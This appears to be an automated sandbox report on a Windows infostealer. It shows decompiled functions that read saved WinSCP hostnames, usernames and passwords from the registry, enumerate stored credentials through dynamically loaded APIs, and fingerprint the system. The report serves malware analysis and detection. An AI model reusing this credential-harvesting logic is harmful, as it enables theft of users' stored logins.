Instruction ID: 3719b962a0c2e8636b2e78684b3abd6692da8f7b83e55c517c2861017681945b
Opcode Fuzzy Hash: 669e6b46287356bda4ab1fe1bdca082b12451fe0c239720d2cb777ad7381b883
Instruction Fuzzy Hash: 47025C35A00159EBDB10EB94CC81EDEB7B9EF48304F1081B6A548B7291DB78AF85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040CFB8, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 179
registryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040CFB8(void* __ebx, void* __edi, void* __esi) {
				char _v8;
				void* _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v2072;
				char _v2076;
				char _v2080;
				char _v2084;
				char _v2088;
				char _v2092;
				char _v2096;
				char _v2100;
				char _v2104;
				char _v2108;
				char _v2112;
				char _v2116;
				char _v2120;
				char _v2124;
				char _v2128;
				char _v2132;
				intOrPtr _v2136;
				char _v2140;
				long _t73;
				intOrPtr* _t75;
				intOrPtr* _t91;
				void* _t102;
				void* _t150;
				void* _t151;
				void* _t166;
				intOrPtr _t169;
				void* _t189;
				void* _t197;
				intOrPtr _t200;
				intOrPtr _t201;

				_t198 = __esi;
				_t197 = __edi;
				_t200 = _t201;
				_t151 = 0x10b;
				do {
					_push(0);
					_push(0);
					_t151 = _t151 - 1;
				} while (_t151 != 0);
				_push(__ebx);
				_push(__esi);
				_push(_t200);
				_push(0x40d289);
				_push( *[fs:eax]);
				 *[fs:eax] = _t201;
				E00403C3C( &_v8, L"Software\\Martin Prikryl\\WinSCP 2\\Sessions\\");
				_t73 = RegOpenKeyW(0x80000001, E00403D98(_v8),  &_v12); // executed
				if(_t73 == 0) {
					_t150 = 0;
					while(1) {
						_push(0x800);
						_push( &_v2072);
						_push(_t150);
						_push(_v12);
						_t91 =  *0x41b248; // 0x41c730
						if( *((intOrPtr*)( *_t91))() != 0) {
							goto L7;
						}
						_t150 = _t150 + 1;
						E00403D6C( &_v2080, 0x400,  &_v2072);
						E00403E14( &_v2076, _v2080, _v8, __eflags);
						E004075C0(0x80000001, _t150, L"HostName", _v2076,  &_v16, 0);
						_t102 = E00403DA8(_v16);
						__eflags = _t102 - 2;
						if(_t102 >= 2) {
							E00403D6C( &_v2088, 0x400,  &_v2072);
							E00403E14( &_v2084, _v2088, _v8, __eflags);
							_t198 = E004076B4(0x80000001, _t150, L"PortNumber", _v2084, _t198);
							E00403D6C( &_v2096, 0x400,  &_v2072);
							E00403E14( &_v2092, _v2096, _v8, __eflags);
							E004075C0(0x80000001, _t150, L"UserName", _v2092,  &_v20, 0);
							E00403D6C( &_v2104, 0x400,  &_v2072);
							E00403E14( &_v2100, _v2104, _v8, __eflags);
							E004075C0(0x80000001, _t150, L"Password", _v2100,  &_v24, 0);
							_push( &_v2108);
							E0040377C( &_v2112, _v24);
							_push(_v2112);
							E0040377C( &_v2116, _v20);
							_push(_v2116);
							E0040377C( &_v2120, _v16);
							_pop(_t189);
							_pop(_t166);
							E0040CE7C(_v2120, _t150, _t166, _t189, _t197, _t108, __eflags);
							E00403D88( &_v24, _v2108);
							E0040377C( &_v2124, _v20);
							_push(_v2124);
							E0040377C( &_v2128, _v24);
							_push(_v2128);
							_push(0);
							E0040709C(_t108, _t150,  &_v2140, _t198, __eflags);
							E00403E78();
							E0040377C( &_v2132, _v2136);
							E0040525C(E0040D378, _t150, _v2132, "WinSCP", _t197, _t198, _v2140, 0x40d35c, _v16);
						}
					}
				}
				L7:
				_t75 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t75))(_v12);
				_pop(_t169);
				 *[fs:eax] = _t169;
				_push(E0040D290);
				E00403BF4( &_v2140, 2);
				E00403508( &_v2132, 7);
				E00403BF4( &_v2104, 8);
				E00403BF4( &_v24, 3);
				return E00403BDC( &_v8);
			}

0x0040cfb8
0x0040cfb8
0x0040cfb9
0x0040cfbb
0x0040cfc0
0x0040cfc0
0x0040cfc2
0x0040cfc4
0x0040cfc4
0x0040cfc7
0x0040cfc8
0x0040cfcb
0x0040cfcc
0x0040cfd1
0x0040cfd4
0x0040cfdf
0x0040cffd
0x0040d001
0x0040d007
0x0040d207
0x0040d207
0x0040d212
0x0040d213
0x0040d217
0x0040d218
0x0040d223
0x00000000
0x00000000
0x0040d00e
0x0040d026
0x0040d03a
0x0040d04f
0x0040d057
0x0040d05c
0x0040d05f
0x0040d076
0x0040d08a
0x0040d0a4
0x0040d0bd
0x0040d0d1
0x0040d0e6
0x0040d102
0x0040d116
0x0040d12b
0x0040d136
0x0040d140
0x0040d14b
0x0040d155
0x0040d160
0x0040d16a
0x0040d175
0x0040d176
0x0040d177
0x0040d185
0x0040d193
0x0040d19e
0x0040d1a8
0x0040d1b3
0x0040d1b4
0x0040d1c6
0x0040d1dc
0x0040d1ed
0x0040d202
0x0040d202
0x0040d05f
0x0040d207
0x0040d229
0x0040d22d
0x0040d234
0x0040d238
0x0040d23b
0x0040d23e
0x0040d24e
0x0040d25e
0x0040d26e
0x0040d27b
0x0040d288

APIs

RegOpenKeyW.ADVAPI32(80000001,00000000,?,00000000,0040D289,?,?,00000000,00000000,00000000,?,0040E224,00000000,0040E24F,?,00000000), ref: 0040CFFD

Part of subcall function 004075C0: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 00407669

Part of subcall function 004075C0: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407642

Strings

Password, xrefs: 0040D121
UserName, xrefs: 0040D0DC
WinSCP, xrefs: 0040D1F8
HostName, xrefs: 0040D045
Software\Martin Prikryl\WinSCP 2\Sessions\, xrefs: 0040CFDA
PortNumber, xrefs: 0040D095

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open$QueryValue
String ID: HostName$Password$PortNumber$Software\Martin Prikryl\WinSCP 2\Sessions\$UserName$WinSCP
API String ID: 2123561561-2405151731
Opcode ID: a9f0c4edbc125bcd26133d15058cb15b7dd1b623460250aa2c9555a9ec7d8b7e
Instruction ID: 7bd088c3d2db305df17c00e189efb7ed4d5aabbc39bbdde4c0466aab00456710
Opcode Fuzzy Hash: a9f0c4edbc125bcd26133d15058cb15b7dd1b623460250aa2c9555a9ec7d8b7e
Instruction Fuzzy Hash: 65711B74A001199BCB10EA55CC81BDEB7F9FF88305F1081BAA548B3291DE34AF45CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00415E3C, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00415E3C(intOrPtr* __eax, void* __ebx, void* __esi) {
				struct _SYSTEM_INFO _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				signed int _t38;
				signed int _t39;
				signed int _t92;
				void* _t93;
				void* _t94;
				intOrPtr _t113;
				void* _t117;
				intOrPtr _t120;
				intOrPtr _t121;

				_t118 = __esi;
				_t38 = __eax +  *__eax;
				 *_t38 =  *_t38 + _t38;
				_t39 = _t38 | 0x5500000a;
				_t120 = _t121;
				_t93 = 0xb;
				do {
					_push(0);
					_push(0);
					_t93 = _t93 - 1;
					_t124 = _t93;
				} while (_t93 != 0);
				_t92 = _t39;
				_push(_t120);
				_push(0x415fd0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t121;
				GetSystemInfo( &_v40); // executed
				E00403D88( &_v48,  *_t92);
				_push(_v48);
				_push(L"CPU Model: ");
				_push(0);
				_push( &_v52);
				E004069A8("UHJvY2Vzc29yTmFtZVN0cmluZw==", _t92,  &_v60, _t117, __esi);
				E00403D88( &_v56, _v60);
				_push(_v56);
				E004069A8("SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==", _t92,  &_v68, _t117, __esi);
				E00403D88( &_v64, _v68);
				_pop(_t94); // executed
				E004075C0(0x80000002, _t92, _t94, _v64); // executed
				_push(_v52);
				_push(0x416070);
				E00403E78();
				E0040377C(_t92, _v44);
				E004037DC( &_v80, "CPU Count: ",  *_t92);
				E00403D88( &_v76, _v80);
				_push(_v76);
				E0040709C(_v40.dwNumberOfProcessors, _t92,  &_v84, __esi, _t124);
				_push(_v84);
				_push(0x416070);
				E00403E78();
				E0040377C(_t92, _v72);
				_push( *_t92);
				_push("GetRAM: ");
				E00415CA0( &_v88, _t92, _t118, _t124); // executed
				_push(_v88);
				_push(0x4160a8);
				E00403850();
				_push( *_t92);
				_push("Video Info\r\n");
				E00415D60( &_v92, _t92, _t117, _t118);
				_push(_v92);
				E00403850();
				_t113 = 0x4160a8;
				 *[fs:eax] = _t113;
				_push(E00415FD7);
				E00403508( &_v92, 2);
				E00403BDC( &_v84);
				E004034E4( &_v80);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BDC( &_v64);
				E004034E4( &_v60);
				return E00403BF4( &_v56, 4);
			}

0x00415e3c
0x00415e3c
0x00415e3e
0x00415e40
0x00415e45
0x00415e47
0x00415e4c
0x00415e4c
0x00415e4e
0x00415e50
0x00415e50
0x00415e50
0x00415e54
0x00415e58
0x00415e59
0x00415e5e
0x00415e61
0x00415e68
0x00415e72
0x00415e77
0x00415e7a
0x00415e7f
0x00415e84
0x00415e8d
0x00415e98
0x00415ea0
0x00415ea9
0x00415eb4
0x00415ec1
0x00415ec2
0x00415ec7
0x00415eca
0x00415ed7
0x00415ee1
0x00415ef0
0x00415efb
0x00415f00
0x00415f09
0x00415f0e
0x00415f11
0x00415f1e
0x00415f28
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3f
0x00415f4b
0x00415f50
0x00415f52
0x00415f5a
0x00415f5f
0x00415f6e
0x00415f75
0x00415f78
0x00415f7b
0x00415f88
0x00415f90
0x00415f98
0x00415fa5
0x00415fad
0x00415fb5
0x00415fbd
0x00415fcf

APIs

GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

CPU Count: , xrefs: 00415EEB
CPU Model: , xrefs: 00415E7A
Video Info, xrefs: 00415F52
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 00415EA4
GetRAM: , xrefs: 00415F2F
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 00415E88

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: 67b60830aa94d3e9395fffde1ea6c61011c9049d333d6cb800156b2fab4e376f
Instruction ID: 841de3dabe4d1ada80fc57b7235bfd5090272e00ed4efe0c369eb699e4c4d56e
Opcode Fuzzy Hash: 67b60830aa94d3e9395fffde1ea6c61011c9049d333d6cb800156b2fab4e376f
Instruction Fuzzy Hash: 3941E274A00108ABCB01EFD1D842FCDBBB9EF48305F51813BF504B7296D679EA468B59

Uniqueness

Uniqueness Score: -1.00%

Function 00415E40, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00415E40(signed int __eax, void* __ebx, void* __esi) {
				struct _SYSTEM_INFO _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				signed int _t38;
				signed int _t91;
				void* _t92;
				void* _t93;
				intOrPtr _t112;
				void* _t116;
				intOrPtr _t119;
				intOrPtr _t120;

				_t117 = __esi;
				_t38 = __eax | 0x5500000a;
				_t119 = _t120;
				_t92 = 0xb;
				do {
					_push(0);
					_push(0);
					_t92 = _t92 - 1;
					_t122 = _t92;
				} while (_t92 != 0);
				_t91 = _t38;
				_push(_t119);
				_push(0x415fd0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t120;
				GetSystemInfo( &_v40); // executed
				E00403D88( &_v48,  *_t91);
				_push(_v48);
				_push(L"CPU Model: ");
				_push(0);
				_push( &_v52);
				E004069A8("UHJvY2Vzc29yTmFtZVN0cmluZw==", _t91,  &_v60, _t116, __esi);
				E00403D88( &_v56, _v60);
				_push(_v56);
				E004069A8("SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==", _t91,  &_v68, _t116, __esi);
				E00403D88( &_v64, _v68);
				_pop(_t93); // executed
				E004075C0(0x80000002, _t91, _t93, _v64); // executed
				_push(_v52);
				_push(0x416070);
				E00403E78();
				E0040377C(_t91, _v44);
				E004037DC( &_v80, "CPU Count: ",  *_t91);
				E00403D88( &_v76, _v80);
				_push(_v76);
				E0040709C(_v40.dwNumberOfProcessors, _t91,  &_v84, _t117, _t122);
				_push(_v84);
				_push(0x416070);
				E00403E78();
				E0040377C(_t91, _v72);
				_push( *_t91);
				_push("GetRAM: ");
				E00415CA0( &_v88, _t91, _t117, _t122); // executed
				_push(_v88);
				_push(0x4160a8);
				E00403850();
				_push( *_t91);
				_push("Video Info\r\n");
				E00415D60( &_v92, _t91, _t116, _t117);
				_push(_v92);
				E00403850();
				_t112 = 0x4160a8;
				 *[fs:eax] = _t112;
				_push(E00415FD7);
				E00403508( &_v92, 2);
				E00403BDC( &_v84);
				E004034E4( &_v80);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BDC( &_v64);
				E004034E4( &_v60);
				return E00403BF4( &_v56, 4);
			}

0x00415e40
0x00415e40
0x00415e45
0x00415e47
0x00415e4c
0x00415e4c
0x00415e4e
0x00415e50
0x00415e50
0x00415e50
0x00415e54
0x00415e58
0x00415e59
0x00415e5e
0x00415e61
0x00415e68
0x00415e72
0x00415e77
0x00415e7a
0x00415e7f
0x00415e84
0x00415e8d
0x00415e98
0x00415ea0
0x00415ea9
0x00415eb4
0x00415ec1
0x00415ec2
0x00415ec7
0x00415eca
0x00415ed7
0x00415ee1
0x00415ef0
0x00415efb
0x00415f00
0x00415f09
0x00415f0e
0x00415f11
0x00415f1e
0x00415f28
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3f
0x00415f4b
0x00415f50
0x00415f52
0x00415f5a
0x00415f5f
0x00415f6e
0x00415f75
0x00415f78
0x00415f7b
0x00415f88
0x00415f90
0x00415f98
0x00415fa5
0x00415fad
0x00415fb5
0x00415fbd
0x00415fcf

APIs

GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

CPU Count: , xrefs: 00415EEB
CPU Model: , xrefs: 00415E7A
Video Info, xrefs: 00415F52
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 00415EA4
GetRAM: , xrefs: 00415F2F
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 00415E88

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: d49cf2dff3f5fc6b5f88a972feb01ca37b6cb431cc11217fa2a338b9e0ff7ea8
Instruction ID: 196081fafed7d9336189c07f5dab181bd8ca6178f74fa25acf8eb9a608d7e1b8
Opcode Fuzzy Hash: d49cf2dff3f5fc6b5f88a972feb01ca37b6cb431cc11217fa2a338b9e0ff7ea8
Instruction Fuzzy Hash: C541F274A00108ABCB01EFD1D842FCDBBB9EF48305F91813BF504B7296D679EA468B59

Uniqueness

Uniqueness Score: -1.00%

Function 00415CA0, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00415CA0(void* __eax, void* __ebx, void* __esi, void* __eflags) {
				struct _MEMORYSTATUSEX _v68;
				char _v72;
				_Unknown_base(*)()* _t13;
				intOrPtr _t35;
				void* _t37;
				void* _t40;
				void* _t42;

				_t42 = __eflags;
				_v72 = 0;
				_t37 = __eax;
				_push(_t40);
				_push(0x415d2a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t40 + 0xffffffbc;
				_t13 = GetProcAddress(LoadLibraryA("kernel32.dll"), "GlobalMemoryStatusEx");
				E004028E0( &_v68, 0x40);
				_v68.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v68); // executed
				E0040709C(E004045CC(_v68.ullTotalPhys, _v68.ullAvailPhys, 0x100000, 0), _t13,  &_v72, _t37, _t42);
				E0040377C(_t37, _v72);
				_pop(_t35);
				 *[fs:eax] = _t35;
				_push(E00415D31);
				return E00403BDC( &_v72);
			}

0x00415ca0
0x00415caa
0x00415cad
0x00415cb1
0x00415cb2
0x00415cb7
0x00415cba
0x00415ccd
0x00415cde
0x00415ce3
0x00415cee
0x00415d05
0x00415d0f
0x00415d16
0x00415d19
0x00415d1c
0x00415d29

APIs

LoadLibraryA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx,00000000,00415D2A,?,?,?), ref: 00415CC7
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00415CCD
GlobalMemoryStatusEx.KERNEL32(00000040,00000000,kernel32.dll,GlobalMemoryStatusEx,00000000,00415D2A,?,?,?), ref: 00415CEE

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Strings

GlobalMemoryStatusEx, xrefs: 00415CBD
kernel32.dll, xrefs: 00415CC2
@, xrefs: 00415CE3

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressFreeGlobalLibraryLoadMemoryProcStatusString
String ID: @$GlobalMemoryStatusEx$kernel32.dll
API String ID: 420089832-3878206809
Opcode ID: dfd76011b68a478504803e431a6d3c7223a90459b36f1eabcd883ed82e5d00e0
Instruction ID: 391148e63b22df71c2771543718f35c183a5c4b34bdda626484a7ccee0bd3fce
Opcode Fuzzy Hash: dfd76011b68a478504803e431a6d3c7223a90459b36f1eabcd883ed82e5d00e0
Instruction Fuzzy Hash: 55017571A006089BD711EBA1DD46BDE77B9EB88704F51453AF500B32D1E67C6D018659

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEBC, Relevance: 9.2, APIs: 6, Instructions: 183
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040BEBC(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				_Unknown_base(*)()* _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v52;
				char _v68;
				char _v72;
				char _v76;
				intOrPtr* _t61;
				CHAR* _t63;
				intOrPtr* _t64;
				intOrPtr* _t81;
				struct HINSTANCE__* _t84;
				intOrPtr* _t92;
				_Unknown_base(*)()* _t95;
				intOrPtr* _t96;
				intOrPtr* _t100;
				void* _t107;
				intOrPtr* _t137;
				struct HINSTANCE__* _t138;
				signed int _t139;
				intOrPtr* _t145;
				intOrPtr* _t147;
				intOrPtr _t149;
				intOrPtr _t152;
				intOrPtr _t153;
				intOrPtr* _t163;
				intOrPtr* _t166;
				void* _t168;
				void* _t169;
				signed int _t174;
				void* _t175;
				void* _t177;

				_v76 = 0;
				_v72 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v36 = 0;
				 *[fs:eax] = _t177 + 0xffffffb8;
				_t61 =  *0x41b40c; // 0x41c9f4
				_t63 = E00403990( *_t61);
				_t64 =  *0x41b460; // 0x41c9f0
				_t137 = GetProcAddress(LoadLibraryA(E00403990( *_t64)), _t63);
				_t145 =  *0x41b41c; // 0x41c9f8
				E00403D88( &_v72,  *_t145);
				 *_t137(E00403D98(_v72),  &_v52,  *[fs:eax], 0x40c0de, _t177, __edi, __esi, __ebx, _t175);
				_t147 =  *0x41b430; // 0x41c9fc
				E00403D88( &_v76,  *_t147);
				 *_t137(E00403D98(_v76),  &_v68);
				_t81 =  *0x41b3a8; // 0x41ca00
				_t84 = LoadLibraryA(E00403990( *_t81)); // executed
				_t138 = _t84;
				if(_t138 != 0) {
					_t92 =  *0x41b370; // 0x41ca04
					_t95 = GetProcAddress(_t138, E00403990( *_t92));
					_t96 =  *0x41b1a8; // 0x41ca08
					_t166 = GetProcAddress(_t138, E00403990( *_t96));
					_t100 =  *0x41b360; // 0x41ca0c
					_v8 = GetProcAddress(_t138, E00403990( *_t100));
					_v12 = 0;
					_t107 =  *_t95( &_v52, 0,  &_v16); // executed
					if(_t107 == 0) {
						_push( &_v20);
						_push( &_v12);
						_push(0x200);
						_push(_v16);
						if( *_t166() == 0) {
							_t168 = _v12 - 1;
							if(_t168 >= 0) {
								_t169 = _t168 + 1;
								_t139 = 0;
								do {
									_t153 =  *0x40be90; // 0x40be94
									E00404810( &_v24, _t153);
									_push( &_v24);
									_push(0);
									_push(0);
									_push(0);
									_t174 = (_t139 << 3) - _t139;
									_push( *((intOrPtr*)(_v20 + 0x18 + _t174 * 8)));
									_push( *((intOrPtr*)(_v20 + 0x14 + _t174 * 8)));
									_push( &_v68);
									_push(_v16);
									if(_v8() == 0) {
										E0040370C( &_v28,  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x14 + _t174 * 8)) + 0x10)));
										E0040370C( &_v32,  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x18 + _t174 * 8)) + 0x10)));
										E0040370C( &_v36,  *((intOrPtr*)( *((intOrPtr*)(_v24 + 0x1c)) + 0x10)));
										if(E00403790(_v28) != 0 && E00403790(_v36) != 0) {
											_t163 =  *0x41b1c0; // 0x41ca10
											E0040525C(0x40c100, _t139, _v28,  *_t163, _t169, _t174, 0x40c0f4, _v36, _v32);
										}
									}
									_t139 = _t139 + 1;
									_t169 = _t169 - 1;
								} while (_t169 != 0);
							}
						}
					}
				}
				_pop(_t149);
				 *[fs:eax] = _t149;
				_push(E0040C0E5);
				E00403BF4( &_v76, 2);
				E00403508( &_v36, 3);
				_t152 =  *0x40be90; // 0x40be94
				return E00404280( &_v24, 2, _t152);
			}

0x0040bec7
0x0040beca
0x0040becd
0x0040bed0
0x0040bed3
0x0040bed6
0x0040bed9
0x0040bee7
0x0040beea
0x0040bef1
0x0040bef7
0x0040bf0f
0x0040bf18
0x0040bf20
0x0040bf2e
0x0040bf37
0x0040bf3f
0x0040bf4d
0x0040bf4f
0x0040bf5c
0x0040bf61
0x0040bf65
0x0040bf6b
0x0040bf79
0x0040bf80
0x0040bf93
0x0040bf95
0x0040bfa8
0x0040bfad
0x0040bfba
0x0040bfbe
0x0040bfc7
0x0040bfcb
0x0040bfcc
0x0040bfd4
0x0040bfd9
0x0040bfe2
0x0040bfe5
0x0040bfeb
0x0040bfec
0x0040bfee
0x0040bff1
0x0040bff7
0x0040bfff
0x0040c000
0x0040c002
0x0040c004
0x0040c00b
0x0040c014
0x0040c01c
0x0040c020
0x0040c024
0x0040c02a
0x0040c039
0x0040c04b
0x0040c05c
0x0040c06b
0x0040c086
0x0040c096
0x0040c096
0x0040c06b
0x0040c09b
0x0040c09c
0x0040c09c
0x0040bfee
0x0040bfe5
0x0040bfd9
0x0040bfbe
0x0040c0a5
0x0040c0a8
0x0040c0ab
0x0040c0b8
0x0040c0c5
0x0040c0cd
0x0040c0dd

APIs

LoadLibraryA.KERNEL32(00000000,00000000,00000000,0040C0DE,?,00000000,?,00000000), ref: 0040BF04
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040BF0A
LoadLibraryA.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040BF5C
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040BF79
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040BF8E
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040BFA3

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 62a86ab8671f018b28df7223097144b4c620e1b08c7221a2106d2451f7679443
Instruction ID: 0e090bdfc3d65a5bca4157f74653ebb500d09f599f80782c5ae309756f7fedfb
Opcode Fuzzy Hash: 62a86ab8671f018b28df7223097144b4c620e1b08c7221a2106d2451f7679443
Instruction Fuzzy Hash: A661A9B5A00209DFDB00EFA5C881A9EB7BDFF49304B50457AE914F7391D638ED458BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401934, Relevance: 9.1, APIs: 6, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00401934() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t19;
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t28;

				_t26 = _t28;
				if( *0x41c5ac == 0) {
					return _t2;
				} else {
					_push(_t26);
					_push(E00401A0A);
					_push( *[fs:edx]);
					 *[fs:edx] = _t28;
					if( *0x41c035 != 0) {
						_push(0x41c5b4);
						L004011CC();
					}
					 *0x41c5ac = 0;
					_t3 =  *0x41c60c; // 0x0
					LocalFree(_t3);
					 *0x41c60c = 0;
					_t19 =  *0x41c5d4; // 0x41c5d4
					while(_t19 != 0x41c5d4) {
						_t1 = _t19 + 8; // 0x0
						VirtualFree( *_t1, 0, 0x8000); // executed
						_t19 =  *_t19;
					}
					E00401234(0x41c5d4);
					E00401234(0x41c5e4);
					E00401234(0x41c610);
					_t14 =  *0x41c5cc; // 0x0
					while(_t14 != 0) {
						 *0x41c5cc =  *_t14;
						LocalFree(_t14);
						_t14 =  *0x41c5cc; // 0x0
					}
					_pop(_t23);
					 *[fs:eax] = _t23;
					_push(0x401a11);
					if( *0x41c035 != 0) {
						_push(0x41c5b4);
						L004011D4();
					}
					_push(0x41c5b4);
					L004011DC();
					return 0;
				}
			}

0x00401935
0x0040193f
0x00401a13
0x00401945
0x00401947
0x00401948
0x0040194d
0x00401950
0x0040195a
0x0040195c
0x00401961
0x00401961
0x00401966
0x0040196d
0x00401973
0x0040197a
0x0040197f
0x00401999
0x0040198e
0x00401992
0x00401997
0x00401997
0x004019a6
0x004019b0
0x004019ba
0x004019bf
0x004019c6
0x004019ca
0x004019d1
0x004019d6
0x004019db
0x004019e1
0x004019e4
0x004019e7
0x004019f3
0x004019f5
0x004019fa
0x004019fa
0x004019ff
0x00401a04
0x00401a09
0x00401a09

APIs

RtlEnterCriticalSection.KERNEL32(Function_0001C5B4,00000000,00401A0A), ref: 00401961
LocalFree.KERNEL32(00000000,00000000,00401A0A), ref: 00401973
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,00401A0A), ref: 00401992
LocalFree.KERNEL32(00000000,00000000,00000000,00008000,00000000,00000000,00401A0A), ref: 004019D1
RtlLeaveCriticalSection.KERNEL32(Function_0001C5B4,00401A11,00000000,00000000,00401A0A), ref: 004019FA
RtlDeleteCriticalSection.KERNEL32(Function_0001C5B4,00401A11,00000000,00000000,00401A0A), ref: 00401A04

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: a533093bf643e2750fc0c7fb6ce1a8cee2193e72f340cc35e9b9a59fd34ff9a9
Instruction ID: f5b3729ab89c308c15893b8da70c4d7314be5901088e834fcff69d5c90a64892
Opcode Fuzzy Hash: a533093bf643e2750fc0c7fb6ce1a8cee2193e72f340cc35e9b9a59fd34ff9a9
Instruction Fuzzy Hash: F11193B17843907ED715AB669CD1B927B969745708F50807BF100BA2F1C73DA840CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406BD8, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406BD8(void* __eax) {
				char _v516;
				int _v520;
				void* _v524;
				long _t13;
				long _t19;
				long _t23;
				void* _t26;

				_t26 = __eax;
				_v520 = 0x100;
				E00403C18(__eax, 0x406c70);
				_t13 = RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, 0, 0, 0x20019, 0,  &_v524, 0); // executed
				if(_t13 == 0) {
					_t19 = RegQueryValueExW(_v524, L"ProductName", 0, 0,  &_v516,  &_v520); // executed
					if(_t19 == 0) {
						E00403D6C(_t26, 0x100,  &_v516);
					}
					_t23 = RegCloseKey(_v524); // executed
					return _t23;
				}
				return _t13;
			}

0x00406bdf
0x00406be1
0x00406bf0
